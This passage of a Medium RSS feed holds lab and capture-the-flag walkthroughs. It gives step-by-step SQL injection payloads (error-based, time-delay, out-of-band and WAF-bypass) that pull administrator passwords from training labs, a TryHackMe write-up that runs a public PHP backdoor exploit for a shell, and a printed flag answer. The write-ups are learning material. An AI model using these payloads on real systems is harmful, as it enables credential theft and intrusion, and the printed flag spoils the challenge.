‘’)||’</strong> after the <strong>TrackingID </strong>and click <strong>send </strong>button and check for the response, it shows <strong>error </strong>message so it`s <strong>not having MYSQL database</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSPHmPfcXwfR4bFYXCElwg.png" /></figure><p><strong>Step 6</strong>: Inject<strong> ‘||(SELECT ‘’ FROM dual)||’ </strong>after the <strong>TrackingID</strong> and click<strong> send</strong> button and check for the response and it shows <strong>no error message</strong> and it indicates that it`s using <strong>Oracle Database</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pCHIATFoRNkP3NSvLuBRtQ.png" /></figure><p><strong>Step 7</strong>: On the description mentioned <strong>users</strong> is the table name so let`s confirm it<br><strong>‘||(SELECT ‘’ FROM users WHERE ROWNUM = 1)||’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uKJ4ef3aS_wCsXII1mO0ow.png" /></figure><p><strong>Step 8</strong>: Now let`s test if <strong>administrator </strong>exists as username on the table <br><strong>‘||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’)||’</strong></p><p>if it shows <strong>HTTP Status 500</strong> which means <strong>administrator </strong>username exist on the table. <br><strong>NOTE: The Error Message or HTTP Status 500 indicates the present of variable on the database because the syntax is construct in such away to identify it. It checks username=’administrator ‘ is present on database then it execuate SELECT CASE command</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DTvFkV20IVSvN9gaZ3uVUg.png" /></figure><p><strong>Step 9</strong>: Let&#39;s find the length of the password<br><strong>‘||(SELECT CASE WHEN LENGTH(password)&gt;1 THEN to_char(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’)||’</strong><br>Add this payload on<strong> Intruder</strong> and click <strong>Add</strong> on<strong> 1</strong>, Go to Payload → Change Payload type to <strong>Numbers</strong>, Add:<br><strong>From: 1<br>To: 21<br>Step: 1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxIncOoZS6my7EgEDintoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnTi64ubVarWAKlcni5YpA.png" /></figure><p><strong>Step 10</strong>: We find that the<strong> password length</strong> is<strong> 20</strong>. Let`s find the password for <strong>administrator</strong>. Add this payload after TrackingID on Intruder<br><strong>‘||(SELECT CASE WHEN SUBSTR(password,1,1)=’a’ THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’)||’</strong><br>C<strong>lear all the highlight</strong> and click <strong>Add</strong> on the first<strong> 1</strong> and <strong>a</strong>.Choose <strong>cluster bomb , change the Payload 1 to Numbers , Payload 2 to Brute Forcer </strong>and <strong>start attack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7sESmmOtLlN1FWKD9jB99Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZF4oDw_ravSoPfpvXpjTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KL0CxZAtoISocOa6xaFx-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWx1jYIyyAxmlJdM3Ti-7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gr72w4Qe9YiGcClf4y7bZA.png" /></figure><p><strong>Step 11</strong>: Once the <strong>Intruder Attack </strong>is complete, write down the<strong> Password</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nn3aDKHlH0ILxypyM8WnCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8eeYRMnffM8g4Uy1mTX0pw.png" /></figure><p><strong>Step 12</strong>: Click My account and fill up the credentials and <strong>login</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suP6q9ZSfEpeafE1uhK61Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVq9Um2HW5eQN7hrlRY57g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHDTYJVrnTbNROjvK0BNSQ.png" /></figure><p><strong>Lab 13: Blind SQL injection with time delays</strong></p><p><strong>Description:</strong></p><p>This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.</p><p>The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.</p><p>To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Open the webpage and intercept the request with <strong>Burp Suite</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VuVxXi2flCkBv-uTPcughg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21emT4FXO5P4CLbwacbQOw.png" /></figure><p><strong>Step 3</strong>: Send the request to <strong>Repeater</strong> and add<strong> ‘||pg_sleep(10)--</strong>after the <strong>TrackingID</strong> and click <strong>send </strong>button and check for the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wWiO9wIcHvwNpItW7Wgobw.png" /></figure><p><strong>Lab 14: Blind SQL injection with time delays and information retrieval</strong></p><p><strong>Description:</strong></p><p>his lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.</p><p>The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.</p><p>The database contains a different table called <strong><em>users</em></strong>, with columns called <strong><em>username</em></strong> and <strong><em>password</em></strong>. You need to exploit the blind SQL injection vulnerability to find out the password of the<strong><em> administrator</em></strong> user.</p><p>To solve the lab, log in as the <strong><em>administrator</em></strong> user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Open the webpage and intercept the request with Burp Suite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlI3fEIqwEVeA3tl3dbYQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75cyJYI7qumMrHKmCGpN9Q.png" /></figure><p><strong>Step 3</strong>: Send the request to <strong>Repeater </strong>and add<strong> ‘%3BSELECT+CASE+WHEN+(username=’administrator’+AND+LENGTH(password)&gt;1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--</strong>after the <strong>TrackingID</strong> and click <strong>send</strong> button and check for the response. If it takes more 10 seconds to responds, it means the length is greater than 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7mtyYPRCdlaowldcmzm7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bU-PmmvVJrk5msedrZkhJw.png" /></figure><p><strong>Step 4</strong>: Repeat <strong>Step 3</strong> with changing the value <strong>1</strong> to <strong>2</strong>,<strong>3</strong>,<strong>4</strong> <strong>one by one </strong>until we find the length of the password. In the lab, the length is <strong>20</strong></p><p><strong>Step 5</strong>: Let`s find the password for<strong> administrator</strong>. Add this payload after <strong>TrackingID</strong> on Intruder<br><strong>‘%3BSELECT+CASE+WHEN+(username=’administrator’+AND+SUBSTRING(password,1,1)=’a’)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--</strong><br><strong>Clear all the highlight </strong>and click<strong> Add</strong> on the first <strong>1 </strong>and <strong>a</strong>.Choose c<strong>luster bomb</strong> , choose <strong>Payload 1</strong> to <strong>Numbers</strong>, <strong>Payload 2</strong> to <strong>Brute Forcer</strong> and start<strong> attack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XiNs8ibcVd7UhTCCwca4Ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*iF9BdQp5JB0zOhB0_zoFog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ce99c4U5cXcUfFEa9jW_7w.png" /></figure><p><strong>Step 6</strong>: Once <strong>Intruder</strong> Attack Completed, Go to <strong>Columns</strong> and select <strong>Response received,</strong> and arrange D<strong>escending </strong>order.Write down the password from observing the characters the Large Response received</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*crNOaZzR1ioDzhUEgoZ2zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lcsnhvsw_d6oxs-gWnOFRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jctQCAgcl6v9LYK9Wr6kzg.png" /></figure><p><strong>Step 7</strong>: Click <strong>My account</strong> and fill up the credentials and login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3cF2X7FFuYriNfNb4jGpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I8Fv7eaO2ru-l6RzsFzPHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3fncI-pbBppPivONA6c3KA.png" /></figure><p><strong>Lab 15: Blind SQL injection with out-of-band interaction</strong></p><p><strong>Description:</strong></p><p>This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.</p><p>The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.</p><p>To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Open the webpage and intercept the request with<strong> Burp Suite Professional</strong></p><blockquote><strong>NOTE</strong>: <strong>For this lab we require Burp Collaborator which is only available in Burp Suite Professional</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFtZo_ZdpIG8-jMI3QfcMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*roxAOifkBa7Z9trCyJAEUw.png" /></figure><p><strong>Step 3</strong>: Open the <strong>Burp Collaborator</strong> and Copy the<strong> clipboard </strong>and paste the <strong>DNS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uKSEb0MbE3tzWig_MsF1rg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*dwkyUOTqCAW_P4VfvajIow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*CxZJmFRGHWPunT0Dk-oLxw.png" /></figure><p><strong>Step 4</strong>: Send the request to<strong> Repeater </strong>and add the syntax -after the <strong>TrackingID </strong>and click <strong>send</strong> button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*dVSpW3sCQws-_JzKVL1fWQ.png" /></figure><p><strong>NOTE</strong>: Make sure to change the <strong>BURP-COLLABORATOR-SUBDOMAIN</strong> with the <strong>DNS</strong> copied from <strong>clipboard.</strong></p><blockquote><strong>For Some Reason, I could not able to copy the code on the page and It`s shows Story could not be saved. Please check your internet connection. So I attach the screenshot of the code above</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxqfqD-ofd7Jyj75Tax0DA.png" /></figure><p><strong>Step 5</strong>: Open the <strong>Burp Collaborator</strong> to check the Response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lucGd1gi71NrrE6Blxrx_A.png" /></figure><p><strong>Lab 16: Blind SQL injection with out-of-band data exfiltration</strong></p><p><strong>Description:</strong></p><p>This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.</p><p>The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.</p><p>The database contains a different table called <strong><em>users</em></strong>, with columns called <strong><em>username </em></strong>and <strong><em>password</em></strong>. You need to exploit the blind SQL injection vulnerability to find out the password of the <strong><em>administrator</em></strong> user.</p><p>To solve the lab, log in as the <strong><em>administrator</em></strong> user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab<br><strong>Step 2</strong>: Open the webpage and intercept the request with<strong> Burp Suite Professional</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2WPsF2gMgqJiFV18OnLEug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R6HJeN2oRptqOYBkV8SuCQ.png" /></figure><blockquote><strong>NOTE: For this lab we require Burp Collaborator which is only available in Burp Suite Professional</strong></blockquote><p><strong>Step 3</strong>: Open the <strong>Burp Collaborator</strong> and Copy the <strong>clipboard</strong> and paste the <strong>DNS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ydDOZwZHRz5QgMbnPnEhIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*PoBrc37x1LA56P0ilHLwwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*lr2r5ZQL1Ui-sX3q8Fhbiw.png" /></figure><p><strong>Step 4</strong>: Send the request to <strong>Repeater</strong> and add the syntax -after the <strong>TrackingID </strong>and click send <strong>button</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DYwQcRpfeSXE1knROq67RQ.png" /></figure><p><strong>NOTE</strong>: Make sure to change the <strong>BURP-COLLABORATOR-SUBDOMAIN</strong> with the <strong>DNS</strong> copied from <strong>clipboard.</strong></p><blockquote><strong>For Some Reason, I could not able to copy the code on the page and It`s shows Story could not be saved. Please check your internet connection. So I attach the screenshot of the code above</strong></blockquote><p><strong>Step 5</strong>: Open the <strong>Burp Collaborator </strong>to check the <strong>Response</strong> , the <strong>password</strong> is stored before the .<strong>DNS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQ25KUAc5lLRzO8y-fzFsA.jpeg" /></figure><p><strong>Step 6</strong>: Click <strong>My account</strong> and fill up the credentials and login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wwt4ILve7l8JPnwbQHuo_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4soakJ9hJPYHtSV-YMWdhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0i8qul8l1LdGDfyxulHnA.png" /></figure><p><strong>Lab 17: SQL injection with filter bypass via XML encoding</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables.</p><p>The database contains a <strong>users</strong> table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user’s credentials, then log in to their account.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>View details</strong> and Intercept the Request with<strong> Burp Suite</strong> and <strong>Click Check stock</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgQSECSaPPP2053T0E_Wbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c570WS2U2XlJKzrauundMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JiOrccSBIPLUX6jnfZUZ0w.png" /></figure><p><strong>Step 3</strong>: Send the request to<strong> Repeater </strong>and Add <strong>1+1</strong> between <strong>&lt;storeId&gt; &lt;/storeId&gt;</strong> and Click<strong> send</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eADlYPp-K2tM7iMNgkeijA.png" /></figure><p><strong>Step 4</strong>: Similar to<strong> Step 3</strong> with adding <strong>1&#39; UNION SELECT NULL</strong> and observe the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqKk45ITFoiMsuJ-AzSfNQ.png" /></figure><p><strong>Step 5</strong>: We observe that <strong>WAF</strong> is detected the payload , we need to bypass the filter so let`s install Burp Extension called<strong> Hackvertor</strong><br>Go to<strong> Extender </strong>→<strong>BApp Store</strong> →<strong>Hackvertor</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dwD8AeLxXsM41RiJY1Ung.png" /></figure><p><strong>Step 6</strong>: Highlight the Payload and <strong>Right Click</strong> →<strong>Hackvertor</strong> →<strong>Encode</strong> →<strong>dec_entities</strong> and send the request. The Payload able to bypass the <strong>WAF</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EMke5WioYes9AbybsmuaJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdZLjOBEJs4nRFdu8ojD8A.png" /></figure><p><strong>Step 7:</strong> Similar to <strong>Step 3</strong> and <strong>Step 6</strong>, we need find the users password<br><strong>1 UNION SELECT username || ‘~’ || password FROM users</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kjLVB1AMbX1gim5f5bOw3g.png" /></figure><p><strong>Step 8</strong>: Click <strong>My account</strong> and fill up the user credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8y-562vc0KB4-oKEN38-5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKF-kVucDJ2TiTYij8qqPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iobKb4DCKCDyhv0xYsuwNQ.png" /></figure><p><strong>*********************THANK YOU****KEEP LEARNING ******************<br>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP , LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED<br>FOLLOW MY PROFILE FOR MORE WRITE-UPS<br>************************************PEACE*******************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc8b71982391" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Agent T]]></title>
            <link>https://medium.com/@mathen/tryhackme-agent-t-b4be3a4be85b?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4be3a4be85b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Thu, 19 Jan 2023 03:59:58 GMT</pubDate>
            <atom:updated>2023-01-19T03:59:58.204Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*Xi_LGz6OHAncQasSZlFkwA.png" /></figure><p><strong>Task 1: Find The Flag</strong></p><p>Agent T uncovered this website, which looks innocent enough, but something seems off about how the server responds…</p><p>After deploying the vulnerable machine attached to this task, please wait a couple of minutes for it to respond.</p><ol><li>What is the flag?</li></ol><p><strong>ANS: flag{4127d0530abf16d6d23973e3df8dbecb}</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Always Recon , nmap:</p><p><strong>nmap -sC -sV &lt;THM_IP&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*TbwghiE3GmI4a7V1S6SkSQ.png" /></figure><p><strong>Step 2:</strong> We noticed port 80 is open which is web portal is possible, Open in Web Browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0h8IZCD4zE7lyVj8UtsnA.png" /></figure><p><strong>Step 3:</strong> Open Burp and intercept the request to check what the responses are.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-sa-P3LR6jUOxk6wdHLNxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocRJO2h9td3KZQ6T9OBcHQ.png" /></figure><p><strong>Step 4: </strong>We noticed the PHP version, so let`s check if there is any exploit on the info. We found so many scripts to exploit the vulnerability via Google. But I personally found this script works efficiently for the challenge.</p><p><strong>https://github.com/musyoka101/PHP-8.1.0-dev-Exploit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XOOmZ7JcIpilKW4fm9ZXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wC0Sd4VLDWTvlRBRXxuLkg.png" /></figure><p><strong>Step 5: git clone </strong><a href="https://github.com/musyoka101/PHP-8.1.0-dev-Exploit"><strong>https://github.com/musyoka101/PHP-8.1.0-dev-Exploit</strong></a><strong> and chmod 777 exploit.py</strong></p><p><strong>Step 6: python3 exploit.py &lt;THM_IP&gt;</strong></p><p><strong>NOTE: In the screenshot, the name of the file is different because I renamed it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*jLsdb3p1_cFeLZhl_Yk6pw.png" /></figure><p><strong>Step 7: find / -name flag.txt 2&gt;/dev/null</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*TAm93Ardj8vCUGk75kWYnQ.png" /></figure><p><strong>Step 8: cat /flag.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*r85Atn2-1wA8gGnwK8AYKg.png" /></figure><p><strong>FINALLY, WE DISCOVERED THE FLAG</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3PAXE157D6zUlH-9.jpeg" /></figure><p><strong>*****************THANK YOU****KEEP LEARNING ******************<br>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED<br>FOLLOW MY PROFILE FOR MORE WRITE-UPS<br>****************************PEACE********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4be3a4be85b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Advent of Cyber 3 (2021)]]></title>
            <link>https://medium.com/@mathen/tryhackme-advent-of-cyber-3-2021-6c57c78030a6?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c57c78030a6</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Sat, 14 May 2022 20:36:10 GMT</pubDate>
            <atom:updated>2022-05-14T20:36:10.118Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cLtE4yUUWRmW2sKiJkuUCg.png" /></figure><h3>TryHackMe: [Day 1] Web Exploitation Save The Gifts</h3><p><a href="https://medium.com/@mathen/tryhackme-day-1-web-exploitation-save-the-gifts-5d6824a52e67">TryHackMe: [Day 1] Web Exploitation Save The Gifts</a></p><h3>TryHackMe: [Day 2] Web Exploitation Elf HR Problems</h3><p><a href="https://medium.com/@mathen/tryhackme-day-2-web-exploitation-elf-hr-problems-d106d6cc963c">TryHackMe: [Day 2] Web Exploitation Elf HR Problems</a></p><h3>TryHackMe: [Day 3] Web Exploitation Christmas Blackout</h3><p><a href="https://medium.com/@mathen/tryhackme-day-3-web-exploitation-christmas-blackout-f92a23b9a27d">TryHackMe: [Day 3] Web Exploitation Christmas Blackout</a></p><h3>TryHackMe: [Day 4] Web Exploitation Santa’s Running Behind</h3><p><a href="https://medium.com/@mathen/tryhackme-day-4-web-exploitation-santas-running-behind-e8a8dfe61c50">TryHackMe: [Day 4] Web Exploitation Santa’s Running Behind</a></p><h3>TryHackMe: [Day 5] Web Exploitation Pesky Elf Forum</h3><p><a href="https://medium.com/@mathen/tryhackme-day-5-web-exploitation-pesky-elf-forum-7a31486a1879">TryHackMe: [Day 5] Web Exploitation Pesky Elf Forum</a></p><h3>TryHackMe: [Day 6] Web Exploitation Patch Management Is Hard</h3><p><a href="https://medium.com/@mathen/tryhackme-day-6-web-exploitation-patch-management-is-hard-895b89fa943b">TryHackMe: [Day 6] Web Exploitation Patch Management Is Hard</a></p><h3>TryHackMe: [Day 7] Web Exploitation Migration Without Security</h3><p><a href="https://medium.com/@mathen/tryhackme-day-7-web-exploitation-migration-without-security-c401ce65d2ec">TryHackMe: [Day 7] Web Exploitation Migration Without Security</a></p><h3>TryHackMe: [Day 8] Special by John Hammond Santa’s Bag of Toys</h3><p><a href="https://medium.com/@mathen/tryhackme-day-8-special-by-john-hammond-santas-bag-of-toys-d0ea2353d294">TryHackMe: [Day 8] Special by John Hammond Santa’s Bag of Toys</a></p><h3>TryHackMe: [Day 9] Networking Where Is All This Data Going</h3><p><a href="https://medium.com/@mathen/tryhackme-day-9-networking-where-is-all-this-data-going-2d6016ecf71">TryHackMe: [Day 9] Networking Where Is All This Data Going</a></p><h3>TryHackMe: [Day 10] Networking Offensive Is The Best Defence</h3><p><a href="https://medium.com/@mathen/tryhackme-day-10-networking-offensive-is-the-best-defence-6267db82a27">TryHackMe: [Day 10] Networking Offensive Is The Best Defence</a></p><h3>TryHackMe: [Day 11] Networking Where Are The Reindeers?</h3><p><a href="https://medium.com/@mathen/tryhackme-day-11-networking-where-are-the-reindeers-1805db92752">TryHackMe: [Day 11] Networking Where Are The Reindeers?</a></p><h3>TryHackMe: [Day 12] Networking Sharing Without Caring</h3><p><a href="https://medium.com/@mathen/tryhackme-day-12-networking-sharing-without-caring-346c6daea08d">TryHackMe: [Day 12] Networking Sharing Without Caring</a></p><h3>TryHackMe: [Day 13] Networking They Lost The Plan!</h3><p><a href="https://medium.com/@mathen/tryhackme-day-13-networking-they-lost-the-plan-49343f55e2fc">TryHackMe: [Day 13] Networking They Lost The Plan!</a></p><h3>TryHackMe: [Day 14] Networking Dev(Insecure)Ops</h3><p><a href="https://medium.com/@mathen/tryhackme-day-14-networking-dev-insecure-ops-e08879acb463">TryHackMe: [Day 14] Networking Dev(Insecure)Ops</a></p><h3>TryHackMe:[Day 16] OSINT Ransomware Madness</h3><p><a href="https://medium.com/@mathen/tryhackme-day-16-osint-ransomware-madness-42b6a3d27faf">TryHackMe:[Day 16] OSINT Ransomware Madness</a></p><h3>TryHackMe: [Day 17] Cloud Elf Leak</h3><p><a href="https://medium.com/@mathen/tryhackme-day-17-cloud-elf-leak-7cfb2e297f25">TryHackMe: [Day 17] Cloud Elf Leak</a></p><h3>TryHackMe: [Day 18] Cloud Playing With Containers</h3><p><a href="https://medium.com/@mathen/tryhackme-day-18-cloud-playing-with-containers-85619f999b30">TryHackMe: [Day 18] Cloud Playing With Containers</a></p><h3>TryHackMe: [Day 19] Blue Teaming Something Phishy Is Going On</h3><p><a href="https://medium.com/@mathen/tryhackme-day-19-blue-teaming-something-phishy-is-going-on-520293297e62">TryHackMe: [Day 19] Blue Teaming Something Phishy Is Going On</a></p><h3>TryHackMe: [Day 20] Blue Teaming What’s the Worst That Could Happen?</h3><p><a href="https://medium.com/@mathen/tryhackme-day-20-blue-teaming-whats-the-worst-that-could-happen-b6df4b2f39a8">TryHackMe: [Day 20] Blue Teaming What’s the Worst That Could Happen?</a></p><h3>TryHackMe: [Day 21] Blue Teaming Needles In Computer Stacks</h3><p><a href="https://medium.com/@mathen/tryhackme-day-21-blue-teaming-needles-in-computer-stacks-e74763dc4008">TryHackMe: [Day 21] Blue Teaming Needles In Computer Stacks</a></p><h3>TryHackMe: [Day 22] Blue Teaming How It Happened</h3><p><a href="https://medium.com/@mathen/tryhackme-day-22-blue-teaming-how-it-happened-7d366f7bae81">TryHackMe: [Day 22] Blue Teaming How It Happened</a></p><h3>TryHackMe: [Day 23] Blue Teaming PowershELlF Magic</h3><p><a href="https://medium.com/@mathen/tryhackme-day-23-blue-teaming-powershellf-magic-20073cca7da8">TryHackMe: [Day 23] Blue Teaming PowershELlF Magic</a></p><h3>TryHackMe: [Day 24] Post Exploitation Learning From The Grinch</h3><p><a href="https://medium.com/@mathen/tryhackme-day-24-post-exploitation-learning-from-the-grinch-a33578adb07a">TryHackMe: [Day 24] Post Exploitation Learning From The Grinch</a></p><p><strong>*****************THANK YOU****KEEP LEARNING ******************</strong></p><p><strong>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED</strong></p><p><strong>FOLLOW MY PROFILE FOR MORE WRITE-UPS</strong></p><p><strong>****************************PEACE********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c57c78030a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: [Day 24] Post Exploitation Learning From The Grinch]]></title>
            <link>https://medium.com/@mathen/tryhackme-day-24-post-exploitation-learning-from-the-grinch-a33578adb07a?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a33578adb07a</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
